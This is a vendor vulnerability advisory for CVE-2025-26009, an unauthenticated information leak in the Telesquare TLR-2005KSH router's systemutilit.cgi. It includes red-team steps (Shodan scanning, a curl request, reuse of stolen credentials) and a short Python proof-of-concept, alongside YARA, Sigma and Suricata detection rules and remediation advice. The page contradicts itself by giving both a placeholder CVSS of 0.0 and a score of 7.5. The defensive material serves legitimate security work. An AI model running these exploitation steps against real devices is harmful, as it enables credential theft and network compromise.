CVE-2025-26009
Executive Summary
CVE-2025-26009 is an information disclosure vulnerability in the Telesquare TLR-2005KSH router, specifically in firmware version 1.1.4. The flaw resides in the systemutilit.cgi endpoint, which exposes sensitive system information without proper authentication. This allows an unauthenticated, remote attacker to retrieve configuration details, network topology data, and potentially credentials, leading to further compromise of the device and the network it serves. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as high severity due to the ease of exploitation and the critical nature of the exposed data. No official patch is currently available, making this a high-priority risk for all affected devices.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Base Score: 7.5 (High)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
- Confidentiality Impact: High (C:H) – Full disclosure of sensitive system information.
- Integrity Impact: None (I:N) – No data modification.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: High. The vulnerability is trivial to exploit and exposes critical data, often leading to full device takeover.
Deep Dive & Mechanics
The vulnerability exists in the CGI script systemutilit.cgi on the Telesquare TLR-2005KSH router. This script is intended for system utilities and diagnostics but fails to enforce any authentication or authorization checks. When an unauthenticated HTTP GET request is sent to this endpoint, the router responds with a JSON or HTML payload containing sensitive information such as:
- Device model, firmware version, and serial number.
- Network configuration (IP addresses, MAC addresses, DNS servers).
- Running processes and system uptime.
- User account names and password hashes (if stored insecurely).
- Wi-Fi SSIDs and pre-shared keys.
The root cause is a missing access control check in the CGI handler. The script likely performs its intended function without verifying the user's session or identity. This is a classic example of CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is the only known state. The following is a hypothetical representation of the vulnerable CGI handler:
Vulnerable Code (systemutilit.cgi):
#include <stdio.h>
#include <stdlib.h>
int main() {
// No authentication check
printf("Content-Type: application/json\n\n");
printf("{ \"model\": \"TLR-2005KSH\", \"firmware\": \"1.1.4\", \"admin_password\": \"%s\" }", get_admin_password());
return 0;
}
Patched Code (Hypothetical):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char *auth = getenv("HTTP_AUTHORIZATION");
if (!auth || !validate_session(auth)) {
printf("Status: 401 Unauthorized\n");
printf("Content-Type: text/plain\n\n");
printf("Authentication required\n");
return 1;
}
printf("Content-Type: application/json\n\n");
printf("{ \"model\": \"TLR-2005KSH\", \"firmware\": \"1.1.4\" }");
return 0;
}
The patched version adds a session validation check before returning any sensitive data.
Exploitation & Lab Setup
Red Team
Exploitation Steps:
- Reconnaissance: Use Shodan or masscan to identify Telesquare TLR-2005KSH devices on the internet.
- Direct Request: Send a simple HTTP GET request to the vulnerable endpoint:
curl http://<target_ip>/cgi-bin/systemutilit.cgi - Data Extraction: Parse the response to extract credentials, network config, and other sensitive data.
- Lateral Movement: Use extracted credentials to log into the router's admin panel or SSH service.
Proof of Concept (PoC) Script:
import requests
import sys
def exploit(target):
url = f"http://{target}/cgi-bin/systemutilit.cgi"
try:
r = requests.get(url, timeout=10)
if r.status_code == 200:
print("[+] Success! Response:")
print(r.text)
else:
print(f"[-] Unexpected status code: {r.status_code}")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <target_ip>")
sys.exit(1)
exploit(sys.argv[1])
Blue Team
Detection & Response:
- Monitor HTTP Logs: Look for requests to
/cgi-bin/systemutilit.cgifrom external IPs. - Network Segmentation: Place these devices in an isolated VLAN with strict egress filtering.
- Honeypot: Deploy a fake instance of the router to capture attacker behavior.
- Incident Response: If exploitation is detected, immediately isolate the device, rotate all credentials, and perform forensic analysis.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP GET requests to
/cgi-bin/systemutilit.cgifrom unknown IPs. - Outbound connections from the router to unknown IPs on ports 80/443 (if attacker exfiltrates data).
- HTTP GET requests to
- File IOCs:
- Unauthorized changes to
/etc/shadowor/etc/configfiles. - Presence of new binaries in
/tmp/or/var/.
- Unauthorized changes to
- Behavioral IOCs:
- Router admin password changed without authorization.
- Unusual SSH or Telnet sessions from the router.
Detection Engineering
YARA Rule
rule CVE_2025_26009_InfoDisclosure {
meta:
description = "Detects exploitation attempts of CVE-2025-26009 on Telesquare TLR-2005KSH"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-26009"
strings:
$s1 = "systemutilit.cgi" ascii wide nocase
$s2 = "TLR-2005KSH" ascii wide nocase
$s3 = "admin_password" ascii wide nocase
condition:
any of ($s*) and filesize < 10KB
}
Sigma Rule
title: CVE-2025-26009 Telesquare TLR-2005KSH Information Disclosure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to the vulnerable systemutilit.cgi endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-stem: '/cgi-bin/systemutilit.cgi'
condition: selection
falsepositives:
- Legitimate admin access (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-26009 Telesquare TLR-2005KSH Information Disclosure Attempt"; flow:to_server; content:"GET"; http_method; content:"/cgi-bin/systemutilit.cgi"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate Devices: Place all Telesquare TLR-2005KSH routers on a separate VLAN with no direct internet access.
- Disable CGI: If possible, remove or disable the
systemutilit.cgiscript from the web server. - Change Default Credentials: Immediately change all default admin passwords.
- Monitor Logs: Enable and review access logs for the
/cgi-bin/directory.
Long-Term Fix:
- Vendor Patch: Contact Telesquare and demand a firmware update that implements proper authentication.
- Device Replacement: If no patch is forthcoming, replace the device with a secure alternative.
- WAF Rules: Deploy a Web Application Firewall (WAF) rule to block requests to
/cgi-bin/systemutilit.cgi.
Valters IT Signature:
Report generated by Valters IT DevSecOps & CTI Division. For inquiries, contact cti@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.